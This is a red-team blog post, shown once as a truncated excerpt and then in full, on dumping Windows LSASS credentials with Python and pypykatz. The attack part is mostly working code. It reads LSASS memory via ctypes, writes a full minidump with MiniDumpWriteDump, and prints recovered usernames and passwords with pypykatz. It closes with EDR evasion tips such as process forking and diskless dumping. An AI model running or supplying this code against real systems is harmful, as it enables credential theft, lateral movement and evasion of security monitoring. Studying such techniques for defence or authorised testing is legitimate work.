Dumping Credentials with Python: Automating LSASS Access and Credential Extraction Post-Exploitation

In post-exploitation scenarios, few objectives are as valuable as gaining access to the Local Security Authority Subsystem Service (LSASS). Responsible for enforcing security policies and handling authentication on Windows systems, LSASS maintains sensitive data such as passwords, NTLM hashes, Kerberos tickets, cached credentials, and LSA secrets—all in memory. This makes it a goldmine for red teamers and attackers seeking to escalate privileges or move laterally across a compromised network. Understanding how LSASS works, the protections it’s wrapped in, and the techniques to extract data from it using Python gives red teamers not just a powerful tool, but also a clearer view of how defenders might detect or block such attempts. Why LSASS Matters in Credential Harvesting Each time a user logs into a Windows system, LSASS plays a key role in verifying their identity and storing relevant authentication artifacts. With the right level of access—typically SYSTEM privileges or SeDebugPrivilege—an attacker can access LSASS memory to retrieve NTLM hashes, plaintext credentials, or Kerberos tickets. These can be used in pass-the-hash or pass-the-ticket attacks, giving attackers the ability to impersonate users and traverse the environment stealthily. Challenges of Accessing LSASS Microsoft has steadily hardened LSASS against unauthorized access. On modern systems, LSASS often runs as a Protected Process Light (PPL), which restricts access to only signed and trusted processes. In environments using Virtual Secure Mode (VSM), LSASS is further isolated from user-mode access. Even if these hurdles are overcome, there's another layer of defense: detection. Modern EDR (Endpoint Detection and Response) systems are well-tuned to spot telltale signs of LSASS access—calls to OpenProcess, memory dumps, or even unusual process behavior. This means red teamers must balance technical access with operational stealth. Python-Based Approaches to Credential Dumping Python offers multiple paths for automating LSASS dumping, depending on the goal (speed vs. stealth), the environment (defended vs. unmonitored), and the tools available. 1. Direct Memory Access (Using ctypes and Windows APIs) A classic approach is to open the LSASS process and read its memory directly using Windows APIs like OpenProcess() and ReadProcessMemory(). Python’s ctypes library gives low-level access to these APIs. import ctypes, ctypes.wintypes as wintypes PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_VM_READ = 0x0010 pid = get_lsass_pid() # Custom function to locate LSASS PID if not pid: raise RuntimeError("Could not locate LSASS process.") kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) h_process = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) if not h_process: raise ctypes.WinError(ctypes.get_last_error()) address = ctypes.c_void_p(0x10000000) # Sample memory address buffer = ctypes.create_string_buffer(0x1000) bytes_read = wintypes.SIZE_T() if kernel32.ReadProcessMemory(h_process, address, buffer, len(buffer), ctypes.byref(bytes_read)): data = buffer.raw[:bytes_read.value] print(f"Read {bytes_read.value} bytes from LSASS memory.") This method works—but it’s loud. Calls to these functions are monitored by most EDRs and can raise immediate alerts. 2. Creating a Minidump with MiniDumpWriteDump A stealthier approach involves creating a minidump of LSASS’s memory using MiniDumpWriteDump() from dbghelp.dll. Because this function is used by legitimate tools (e.g., Task Manager), it tends to blend in better. from ctypes import wintypes dbghelp = ctypes.windll.dbghelp dbghelp.MiniDumpWriteDump.argtypes = [ wintypes.HANDLE, wintypes.DWORD, wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.LPVOID, wintypes.LPVOID] dbghelp.MiniDumpWriteDump.restype = wintypes.BOOL # Open LSASS and prepare the dump file h_file = kernel32.CreateFileW("lsass.dmp", 0x40000000, 0, None, 2, 0, None) pid = get_lsass_pid() h_lsass = kernel32.OpenProcess(0x1F0FFF, False, pid) # PROCESS_ALL_ACCESS MINIDUMP_FULL_MEMORY = 0x00000002 success = dbghelp.MiniDumpWriteDump(h_lsass, pid, h_file, MINIDUMP_FULL_MEMORY, None, None, None) if not success: print(f"MiniDump failed: {ctypes.get_last_error()}") Once created, the dump can be analyzed offline using tools like Mimikatz or pypykatz—reducing the live exposure time of the malicious process 3. Parsing Dumps with pypykatz For Python-native post-processing, pypykatz is a powerful tool. It can analyze both live LSASS memory (if permissions allow) and dump files. import pypykatz katz = pypykatz.go_live() for session in katz.logon_sessions: for cred in session.credentials: print(f"{cred.username}\\{cred.domain} : {cred.password}") Using pypykatz removes the need to call external binaries like Mimikatz, which can be flagged more easily by AV/EDR solutions. Staying Stealthy: Evasi

Jun 4, 2025 - 15:30
 0
Dumping Credentials with Python: Automating LSASS Access and Credential Extraction Post-Exploitation

In post-exploitation scenarios, few objectives are as valuable as gaining access to the Local Security Authority Subsystem Service (LSASS). Responsible for enforcing security policies and handling authentication on Windows systems, LSASS maintains sensitive data such as passwords, NTLM hashes, Kerberos tickets, cached credentials, and LSA secrets—all in memory. This makes it a goldmine for red teamers and attackers seeking to escalate privileges or move laterally across a compromised network.

Understanding how LSASS works, the protections it’s wrapped in, and the techniques to extract data from it using Python gives red teamers not just a powerful tool, but also a clearer view of how defenders might detect or block such attempts.

Why LSASS Matters in Credential Harvesting

Each time a user logs into a Windows system, LSASS plays a key role in verifying their identity and storing relevant authentication artifacts. With the right level of access—typically SYSTEM privileges or SeDebugPrivilege—an attacker can access LSASS memory to retrieve NTLM hashes, plaintext credentials, or Kerberos tickets. These can be used in pass-the-hash or pass-the-ticket attacks, giving attackers the ability to impersonate users and traverse the environment stealthily.

Challenges of Accessing LSASS

Microsoft has steadily hardened LSASS against unauthorized access. On modern systems, LSASS often runs as a Protected Process Light (PPL), which restricts access to only signed and trusted processes. In environments using Virtual Secure Mode (VSM), LSASS is further isolated from user-mode access.

Even if these hurdles are overcome, there's another layer of defense: detection. Modern EDR (Endpoint Detection and Response) systems are well-tuned to spot telltale signs of LSASS access—calls to OpenProcess, memory dumps, or even unusual process behavior. This means red teamers must balance technical access with operational stealth.

Python-Based Approaches to Credential Dumping

Python offers multiple paths for automating LSASS dumping, depending on the goal (speed vs. stealth), the environment (defended vs. unmonitored), and the tools available.

1. Direct Memory Access (Using ctypes and Windows APIs)
A classic approach is to open the LSASS process and read its memory directly using Windows APIs like OpenProcess() and ReadProcessMemory(). Python’s ctypes library gives low-level access to these APIs.

import ctypes, ctypes.wintypes as wintypes

PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_READ = 0x0010

pid = get_lsass_pid()  # Custom function to locate LSASS PID
if not pid:
    raise RuntimeError("Could not locate LSASS process.")

kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
h_process = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
if not h_process:
    raise ctypes.WinError(ctypes.get_last_error())

address = ctypes.c_void_p(0x10000000)  # Sample memory address
buffer = ctypes.create_string_buffer(0x1000)
bytes_read = wintypes.SIZE_T()

if kernel32.ReadProcessMemory(h_process, address, buffer, len(buffer), ctypes.byref(bytes_read)):
    data = buffer.raw[:bytes_read.value]
    print(f"Read {bytes_read.value} bytes from LSASS memory.")

This method works—but it’s loud. Calls to these functions are monitored by most EDRs and can raise immediate alerts.

2. Creating a Minidump with MiniDumpWriteDump
A stealthier approach involves creating a minidump of LSASS’s memory using MiniDumpWriteDump() from dbghelp.dll. Because this function is used by legitimate tools (e.g., Task Manager), it tends to blend in better.

from ctypes import wintypes

dbghelp = ctypes.windll.dbghelp
dbghelp.MiniDumpWriteDump.argtypes = [
    wintypes.HANDLE, wintypes.DWORD, wintypes.HANDLE, wintypes.DWORD,
    wintypes.LPVOID, wintypes.LPVOID, wintypes.LPVOID]
dbghelp.MiniDumpWriteDump.restype = wintypes.BOOL

# Open LSASS and prepare the dump file
h_file = kernel32.CreateFileW("lsass.dmp", 0x40000000, 0, None, 2, 0, None)
pid = get_lsass_pid()
h_lsass = kernel32.OpenProcess(0x1F0FFF, False, pid)  # PROCESS_ALL_ACCESS

MINIDUMP_FULL_MEMORY = 0x00000002
success = dbghelp.MiniDumpWriteDump(h_lsass, pid, h_file, MINIDUMP_FULL_MEMORY, None, None, None)

if not success:
    print(f"MiniDump failed: {ctypes.get_last_error()}")

Once created, the dump can be analyzed offline using tools like Mimikatz or pypykatz—reducing the live exposure time of the malicious process

3. Parsing Dumps with pypykatz
For Python-native post-processing, pypykatz is a powerful tool. It can analyze both live LSASS memory (if permissions allow) and dump files.

import pypykatz

katz = pypykatz.go_live()
for session in katz.logon_sessions:
    for cred in session.credentials:
        print(f"{cred.username}\\{cred.domain} : {cred.password}")

Using pypykatz removes the need to call external binaries like Mimikatz, which can be flagged more easily by AV/EDR solutions.

Staying Stealthy: Evasion Techniques

Credential dumping is inherently risky. Here are a few strategies red teamers use to stay under the radar:

Leverage Legitimate Processes: Calling dumping functions from within trusted binaries (e.g., Task Manager, WMI providers) helps mask suspicious activity.

Forking LSASS: Clone LSASS into a suspended process, then dump memory from the clone. This avoids touching the original process directly.

Avoiding Disk I/O: Instead of writing dump files to disk, redirect memory streams into named pipes or in-memory buffers. This avoids triggering file-based alerts.

Closing Thoughts

Dumping credentials from LSASS is a well-worn path for attackers—but one that requires finesse. Python offers a flexible and scriptable way to automate the process, whether through direct memory reads, minidump creation, or memory parsing with tools like pypykatz.

For red teamers, the goal isn’t just to get the credentials—it’s to do so quietly. As defenders grow more adept at detecting common techniques, understanding the mechanics behind these tools and designing evasive workflows becomes not just beneficial, but necessary.

Whether you’re building custom tooling or integrating into a C2 framework, LSASS credential extraction remains one of the most potent capabilities in a red teamer’s arsenal—when used with precision.

FALLOW ME
https://x.com/DevUnionX